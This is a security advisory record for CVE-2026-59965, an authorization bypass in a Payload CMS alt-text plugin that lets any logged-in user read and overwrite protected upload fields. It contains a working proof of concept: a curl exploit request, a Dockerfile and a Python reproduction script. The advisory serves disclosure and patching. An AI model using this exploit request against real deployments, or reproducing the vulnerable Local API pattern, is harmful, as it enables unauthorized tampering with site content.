CVE-2026-59965: @jhb.software/payload alt text plugin Alt Text Endpoint Authorization Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4qpv-39hg-f7fx",
  "modified" : "2026-09-16T18:56:21Z",
  "published" : "2026-09-10T22:39:14Z",
  "aliases" : [ "CVE-2026-59965" ],
  "summary" : "@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission",
  "details" : "## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission\n\n### Summary\n\n`@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated **High** (CVSS 7.1).\n\n### Details\n\nThe plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.\n\nThe endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls:\n\n**Read bypass** (`generateAltText.ts:31`):\n```typescript\nconst imageDoc = await req.payload.findByID({\n  id,\n  collection,\n  depth: 0,\n  // overrideAccess: false is absent → defaults to true\n})\n```\n\n**Write bypass** (`generateAltText.ts:121`):\n```typescript\nawait req.payload.update({\n  id,\n  collection,\n  data: {\n    alt: result.result.altText,\n    keywords: result.result.keywords,\n  },\n  locale: targetLocale,\n  // overrideAccess: false is absent → defaults to true\n})\n```\n\nThe bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write).\n\nPayload's internal resolution of `overrideAccess` is:\n```\nshouldOverrideAccess = overrideAccess !== false\n// undefined !== false → true → collection access function is never called\n```\n\nBecause the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.\n\n### PoC\n\n**Environment setup:**\n\n1. Clone the repository and install `@jhb.software/payload-alt-text-plugin@0.7.0` into a Payload v3 project.\n2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: \"admin\"`.\n3. Configure the plugin with `collections: [\"media\"]` and a resolver that returns `{ success: true, result: { altText: \"PWNED_BY_EXPLOIT\", keywords: [\"hacked\", \"bypass\"] } }`.\n4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = \"original safe alt text\"`.\n5. Obtain a session token for a non-admin user (`role: \"user\"`).\n\n**Build and run the dynamic PoC (Docker):**\n\n```bash\n# Build\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\n\n# Run\ndocker run --rm vuln001-poc\n```\n\n**Exploit request:**\n\n```bash\ncurl -i -b \"payload-token=<LOW_PRIV_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -X POST http://localhost:3000/api/alt-text-plugin/generate \\\n  --data '{\"collection\":\"media\",\"id\":\"doc-001\",\"locale\":\"en\",\"update\":true}'\n```\n\n**Expected result:**\n\n- HTTP 200 is returned.\n- The response body contains `\"altText\": \"PWNED_BY_EXPLOIT\"`.\n- A subsequent admin read of `media/doc-001` confirms `alt = \"PWNED_BY_EXPLOIT\"` and `keywords = [\"hacked\", \"bypass\"]`, despite the collection's update access being restricted to admins.\n\n**Control verification (confirms the bypass is real, not a misconfiguration):**\n\nA direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection \"media\" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector.\n\n**Dynamic reproduction output (Phase 2 confirmed):**\n\n```\nVULN-001: Alt Text endpoint authorization bypass\n  Payload Local API overrideAccess omission in\n  generateAltText.ts:31 and :121\n\n[Step 1] Control: non-admin direct update with overrideAccess:false\n  PASS: access correctly denied → AccessError\n\n[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate\n  HTTP status : 200\n  Response    : {\"id\":\"doc-001\",\"collection\":\"media\",\"altText\":\"PWNED_BY_EXPLOIT\",\"keywords\":[\"hacked\",\"bypass\"]}\n\nVULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL\n```\n\n### Impact\n\nThis is an **Incorrect Authorization** vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:\n\n1. **Read** the content of arbitrary upload documents that collection access rules would otherwise deny them.\n2. **Overwrite** the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification.\n\nOperators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n#\n# Build context: the parent directory that contains both\n#   repo/          (jhb-software/payload-plugins clone)\n#   vuln-001/      (this workspace)\n#\n# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .\n# Run:    docker run --rm vuln001-poc\n\nFROM node:22-slim\n\nWORKDIR /app\n\n# ---- Copy plugin source files required by the PoC ----\n# Only the endpoint under test and its direct dependencies are needed.\n# No Payload framework install required: we mock it in the PoC.\n\nCOPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts\nCOPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts\nCOPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts\nCOPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts\nCOPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts\n\n# ---- Copy PoC files ----\nCOPY vuln-001/package_inner.json ./package.json\nCOPY vuln-001/inner_poc.ts       ./inner_poc.ts\n\n# ---- Install minimal runtime dependencies ----\n# zod: schema validation used by the endpoint handler\n# tsx:  TypeScript executor that handles .js→.ts extension mapping\nRUN npm install --no-audit --no-fund\n\n# ---- Run the PoC ----\nCMD [\"node_modules/.bin/tsx\", \"inner_poc.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\npoc.py — VULN-001 Dynamic Reproduction Orchestrator\n\nVulnerability: @jhb.software/payload-alt-text-plugin v0.7.0\nTitle: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission\nCWE: CWE-863 (Incorrect Authorization)\n\nThis script:\n  1. Builds a Docker image containing the real plugin endpoint source.\n  2. Runs the container, which calls the endpoint handler with a non-admin user.\n  3. Captures stdout/stderr as evidence.\n  4. Writes the result to phase2_result.json.\n\nUsage:\n  python3 poc.py\n\nSafety:\n  - All traffic stays on 127.0.0.1 / localhost inside Docker.\n  - No external services are contacted.\n  - No live credentials are used.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\n\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\n# Build context: parent directory that contains both repo/ and vuln-001/\nBUILD_CONTEXT = os.path.dirname(THIS_DIR)\nDOCKERFILE = os.path.join(THIS_DIR, \"Dockerfile\")\nIMAGE_TAG = \"vuln001-poc\"\nRESULT_FILE = os.path.join(THIS_DIR, \"phase2_result.json\")\n\nBUILD_COMMAND = f\"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile .\"\nRUN_COMMAND = f\"docker run --rm {IMAGE_TAG}\"\nPOC_COMMAND = f\"python3 poc.py\"\n\n\ndef run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]:\n    \"\"\"Run a subprocess and return (returncode, stdout, stderr).\"\"\"\n    result = subprocess.run(\n        cmd,\n        cwd=cwd,\n        capture_output=True,\n        text=True,\n        timeout=timeout,\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef write_result(passed: bool, verdict: str, reason: str, evidence: str,\n                 build_out: str = \"\", run_out: str = \"\", failure_detail: str = \"\") -> None:\n    \"\"\"Write phase2_result.json.\"\"\"\n    data: dict = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_COMMAND,\n        \"run_command\": RUN_COMMAND,\n        \"poc_command\": POC_COMMAND,\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    if failure_detail:\n        data[\"failure_detail\"] = failure_detail\n    if build_out:\n        data[\"build_output_tail\"] = build_out[-2000:]\n    if run_out:\n        data[\"run_output\"] = run_out\n    with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as fh:\n        json.dump(data, fh, indent=2, ensure_ascii=False)\n    print(f\"\\nResult written to: {RESULT_FILE}\")\n\n\ndef main() -> int:\n    # -----------------------------------------------------------------------\n    # Step 1: Build the Docker image\n    # -----------------------------------------------------------------------\n    print(\"=\" * 60)\n    print(\"VULN-001 Dynamic Reproduction\")\n    print(\"=\" * 60)\n    print()\n    print(f\"[1/2] Building Docker image: {IMAGE_TAG}\")\n    print(f\"      Context : {BUILD_CONTEXT}\")\n    print(f\"      Command : {BUILD_COMMAND}\")\n    print()\n\n    rc, build_stdout, build_stderr = run(\n        [\"docker\", \"build\", \"-t\", IMAGE_TAG, \"-f\", \"vuln-001/Dockerfile\", \".\"],\n        cwd=BUILD_CONTEXT,\n    )\n\n    combined_build = (build_stdout + build_stderr).strip()\n    if rc != 0:\n        print(\"ERROR: Docker build failed.\")\n        print(combined_build[-3000:])\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=\"Docker 빌드 실패 — npm install 또는 파일 복사 오류\",\n            evidence=\"\",\n            build_out=combined_build,\n            failure_detail=f\"docker build exit code {rc}:\\n{combined_build[-2000:]}\",\n        )\n        return 1\n\n    print(\"      Build succeeded.\")\n    print()\n\n    # -----------------------------------------------------------------------\n    # Step 2: Run the PoC container\n    # -----------------------------------------------------------------------\n    print(f\"[2/2] Running PoC container\")\n    print(f\"      Command : {RUN_COMMAND}\")\n    print()\n\n    rc, run_stdout, run_stderr = run(\n        [\"docker\", \"run\", \"--rm\", IMAGE_TAG],\n        cwd=BUILD_CONTEXT,\n    )\n\n    combined_run = (run_stdout + run_stderr).strip()\n    print(combined_run)\n    print()\n\n    # -----------------------------------------------------------------------\n    # Step 3: Evaluate the output\n    # -----------------------------------------------------------------------\n    success_marker = \"VULNERABILITY CONFIRMED\"\n    pwned_marker = \"PWNED_BY_EXPLOIT\"\n\n    if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:\n        # Extract the key evidence block\n        lines = combined_run.splitlines()\n        evidence_lines = []\n        in_block = False\n        for line in lines:\n            if success_marker in line or pwned_marker in line or \"EXPLOITATION\" in line:\n                in_block = True\n            if in_block:\n                evidence_lines.append(line)\n            if in_block and line.startswith(\"→\"):\n                break\n        evidence = \"\\n\".join(evidence_lines) if evidence_lines else combined_run[-1500:]\n\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 \"\n                \"admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. \"\n                \"generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 \"\n                \"Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 \"\n                \"컬렉션 레벨 access 함수가 우회됨. \"\n                \"직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공.\"\n            ),\n            evidence=evidence,\n            run_out=combined_run,\n        )\n        print(\"PASS — vulnerability dynamically confirmed.\")\n        return 0\n\n    else:\n        print(\"FAIL — success marker not found or container exited non-zero.\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\" if rc != 0 else \"INCOMPLETE\",\n            reason=(\n                f\"컨테이너 종료 코드 {rc}. \"\n                \"성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. \"\n                \"로그를 확인하여 원인 파악 필요.\"\n            ),\n            evidence=combined_run[-2000:],\n            run_out=combined_run,\n            failure_detail=f\"Container exit code: {rc}\\nstdout+stderr:\\n{combined_run}\",\n        )\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@jhb.software/payload-alt-text-plugin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-4qpv-39hg-f7fx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59965"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jhb-software/payload-plugins/pull/159"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jhb-software/payload-plugins/commit/e39634868ce13a414e2981e219befc58101654d3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jhb-software/payload-plugins"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jhb-software/payload-plugins/releases/tag/alt-text@0.8.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-10T22:39:14Z",
    "nvd_published_at" : "2026-09-15T16:17:17Z"
  }
}